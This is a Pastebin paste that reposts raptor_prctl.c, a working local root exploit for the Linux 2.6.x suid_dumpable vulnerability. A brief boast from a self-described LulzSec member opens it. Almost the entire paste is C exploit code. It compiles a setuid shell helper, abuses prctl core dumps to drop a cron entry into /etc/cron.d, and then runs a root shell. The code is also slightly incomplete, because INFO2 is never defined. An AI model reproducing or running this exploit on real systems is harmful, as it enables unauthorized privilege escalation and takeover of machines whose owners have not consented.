Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- After i found this vuln IN my scan, WITH another member from Lulzsec, apparently someone found it before me, a guy named raptor. BIG props to him, he CAN find vulns deep inside Linux!
- #include <stdio.h>
- #include <unistd.h>
- #include <stdlib.h>
- #include <signal.h>
- #include <sys/stat.h>
- #include <sys/resource.h>
- #include <sys/prctl.h>
- #define INFO1 "raptor_prctl.c - Linux 2.6.x suid_dumpable vulnerability"
- char payload[] = /* commands to be executed by privileged crond */
- "\nSHELL=/bin/sh\nPATH=/usr/bin:/usr/sbin:/sbin:/bin\n* * * * * root chown root /tmp/pwned; chmod 4755 /tmp/pwned; rm -f /etc/cron.d/core\n";
- char pwnage[] = /* build setuid() helper to circumvent bash checks */
- "echo \"main(){setuid(0);setgid(0);system(\\\"/bin/sh\\\");}\" > /tmp/pwned.c; gcc /tmp/pwned.c -o /tmp/pwned &>/dev/null; rm -f /tmp/pwned.c";
- int main(void)
- {
- int pid, i;
- struct rlimit corelimit;
- struct stat st;
- /* print exploit information */
- fprintf(stderr, "%s\n%s\n\n", INFO1, INFO2);
- /* prepare the setuid() helper */
- system(pwnage);
- /* set core size to unlimited */
- corelimit.rlim_cur = RLIM_INFINITY;
- corelimit.rlim_max = RLIM_INFINITY;
- setrlimit(RLIMIT_CORE, &corelimit);
- /* let's do the PR_SET_DUMPABLE magic */
- if (!(pid = fork())) {
- chdir("/etc/cron.d");
- prctl(PR_SET_DUMPABLE, 2);
- sleep(666);
- exit(1);
- }
- kill(pid, SIGSEGV);
- /* did it work? */
- sleep(3);
- if (stat("/etc/cron.d/core", &st) < 0) {
- fprintf(stderr, "Error: Not vulnerable? See comments.\n");
- exit(1);
- }
- fprintf(stderr, "Ready to uncork the champagne? ");
- fprintf(stderr, "Please wait a couple of minutes;)\n");
- /* wait for crond to execute our evil entry */
- for (i = 0; i < 124; i += 2) {
- if (stat("/tmp/pwned", &st) < 0) {
- fprintf(stderr, "\nError: Check /tmp/pwned!\n");
- exit(1);
- }
- if (st.st_uid == 0)
- break;
- fprintf(stderr, ".");
- sleep(2);
- }
- /* timeout reached? */
- if (i > 120) {
- fprintf(stderr, "\nTimeout: Check /tmp/pwned!\n");
- exit(1);
- }
- /* total pwnage */
- fprintf(stderr, "CAMPIONI DEL MONDO!\n\n");
- system("/tmp/pwned");
- exit(0);
Add Comment
Please, Sign In to add comment